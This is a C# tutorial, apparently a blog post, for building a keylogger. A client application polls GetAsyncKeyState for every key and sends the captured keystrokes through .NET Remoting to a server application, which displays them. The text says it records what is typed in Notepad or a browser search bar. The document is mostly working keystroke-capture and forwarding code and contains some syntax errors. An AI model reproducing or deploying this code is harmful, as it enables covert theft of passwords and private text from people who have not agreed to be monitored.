First of all, create a new class library in the Visual Studio. This is a .net remoting example.
using System;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.IO;
namespace MyRemotingLibrary
{
public interface IHttpRemoting
{
string SendPressedKey(string key);
}
public class MyHttpRemoting : MarshalByRefObject, IHttpRemoting
{
public string SendPressedKey(string key)
{
string path = @"c:\KeyTable.txt";
StreamWriter writer = new StreamWriter(path);
writer.WriteLine(key);
writer.Close();
return key;
}
}
}
And then, create a new server application for sending pressed keys from the client to the server application. (Client may be a classic .net application, a notepad or internet browser running on your machine.)
Create a new Windows Form application and add a Timer component and a TextBox control on your design form. ( And don't forget to reference System.Runtime.Remoting and our created remoting library to your project.)
using System.IO
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Http;
using MyRemotingLibrary;
namespace ServerApplication
{
public partial class Form1 : Form
{
private void Form1_Load(object sender, EventArgs e)
{
textBox1.Multiline = true;
HttpChannel channelHttp = new HttpChannel(8000);
ChannelServices.RegisterChannel(channelHttp);
RemotingConfiguration.RegisterWellKnownServiceType(typeof(MyHttpRemoting), "MyKeyPressedWebService", WellKnownObjectMode.SingleCall);
timer1.Interval = 10;
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
string path = @"c:\KeyTable.txt";
try
{
FileInfo fInfo = new FileInfo(path);
if(fInfo.Exists)
{
StreamReader reader = new StreamReader(path)
string newLineString = reader.ReadLine();
textBox1.Text += newLineString;
reader.Close();
fInfo.Delete();
}
}
catch {;}
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
string path = @"c:\KeyTable.txt";
FileInfo fInfo = new FileInfo(path);
if(fInfo.Exists)
{
fInfo.Delete();
}
}
}
}
And finally create a new client application for handling pressed keys. After than, this application sends pressed keys to our side. (This is a main application for us.)
1. Create a new Windows Form application.
2. Reference to System.Runtime.Remoting and our created library to our client project.
3. Add a new TextBox and two timer component to your design form.
using System;
using System.Windows.Forms;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Tcp;
using System.Runtime.InteropServices;
using System.IO;
using MyRemotingLibrary;
namespace ClientApplication
{
public partial class Form1 : Form
{
[DllImport("User32")]
private static extern short GetAsyncKeyState(Int32 value);
[DllImport("User32")]
private static extern short GetAsyncKeyState(System.Windows.Forms.Keys virtualKeys);
string strOne, strTwo;
public delegate string Trigger(string key);
TcpChannel channelTcp;
Trigger InvokeMethod;
private void Form1_Load(object sender, EventArgs e)
{
timer1.Interval = 1;
timer2.Interval = 2;
timer1.Enabled = true;
timer2.Enabled = true;
textBox1.MaxLength = 1;
strOne = String.Empty;
channelTcp = new TcpChannel();
ChannelServices.RegisterChannel(channelTcp);
IHttpRemoting remoteService = (IHttpRemoting)Activator.GetObject(typeof(IHttpRemoting), "http://localhost:8000/MyKeyPressedWebService");
InvokeMethod = new Trigger(remoteService.SendPressedKey);
}
private void timer1_Tick(object sender, EventArgs e)
{
foreach(int current in Enum.GetValues(typeof(Keys)))
{
if(GetAsyncKeyState(current) == -32767)
{
strOne += Enum.GetName(typeof(Keys), current) + " ";
}
}
strTwo = null;
}
private void timer2_Tick(object sender, EventArgs e)
{
try
{
strTwo = strOne;
if(strTwo.Length <= 3)
{
textBox1.Text = strOne;
}
strOne = null;
}
catch {;}
}
private void textBox1_TextChanged(object sender, EventArgs e)
{
string key = textBox1.Text;
InvokeMethod(key);
}
}
}
Test it, in your client application or write some text in a editor(Notepad like), or enter a text in the google search bar and then look at your server application something that happen.